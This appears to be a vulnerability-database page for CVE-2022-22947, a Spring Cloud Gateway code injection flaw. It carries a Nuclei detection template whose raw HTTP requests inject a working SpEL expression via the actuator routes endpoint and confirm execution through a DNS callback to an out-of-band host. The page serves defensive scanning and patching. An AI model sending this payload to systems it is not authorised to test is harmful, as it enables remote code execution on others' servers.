Browse / CVEs / CVE-2022-22947
CVE-2022-22947· vmware / spring cloud gateway· CWE-917, CWE-94
Spring Cloud Gateway Code Injection
Exploited in the wild. Listed by CISA on 2022-05-16; known to be used by ransomware.
Applications using Spring Cloud Gateway prior to 3.1.1+ and 3.0.7+ are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
Impact
Successful exploitation of this vulnerability could lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
Fix
Apply the latest security patches provided by the vendor and ensure proper input validation to prevent code injection attacks.
How to confirm it
Send: POST /actuator/gateway/routes/{{randstr}} ; POST /actuator/gateway/refresh ; DELETE /actuator/gateway/routes/{{randstr}}
Positive when: contains in header "/routes/{{randstr}}" AND contains in interactsh_protocol "dns" AND status 201Run it with nuclei: nuclei -id CVE-2022-22947 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2022-22947
info:
name: Spring Cloud Gateway Code Injection
author: pdteam
severity: critical
description: Applications using Spring Cloud Gateway prior to 3.1.1+ and 3.0.7+ are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
impact: |
Successful exploitation of this vulnerability could lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
remediation: |
Apply the latest security patches provided by the vendor and ensure proper input validation to prevent code injection attacks.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-22947
- https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
- https://github.com/wdahlenburg/spring-gateway-demo
- https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
- https://tanzu.vmware.com/security/cve-2022-22947
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2022-22947
cwe-id: CWE-917,CWE-94
epss-score: 0.98253
epss-percentile: 0.99916
cpe: cpe:2.3:a:vmware:spring_cloud_gateway:*:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: vmware
product: spring_cloud_gateway
tags: cve,cve2022,apache,spring,vmware,actuator,oast,kev,vkev,vuln
http:
- raw:
- |
POST /actuator/gateway/routes/{{randstr}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/{{randstr}}/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "#{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")}",
"_genkey_1": "/${path}"
}
}
],
"uri": "{{RootURL}}",
"order": 0
}
- |
POST /actuator/gateway/refresh HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"predicate": "Paths: [/{{randstr}}], match trailing slash: true",
"route_id": "{{randstr}}",
"filters": [
"[[RewritePath #{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")} = /${path}], order = 1]"
],
"uri": "{{RootURL}}",
"order": 0
}
- |
DELETE /actuator/gateway/routes/{{randstr}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: header
words:
- "/routes/{{randstr}}"
- type: word
part: interactsh_protocol
words:
- "dns"
- type: status
status:
- 201References
- https://nvd.nist.gov/vuln/detail/CVE-2022-22947
- https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
- https://github.com/wdahlenburg/spring-gateway-demo
- https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
- https://tanzu.vmware.com/security/cve-2022-22947
Use this check only on systems you are authorised to test. Where the data comes from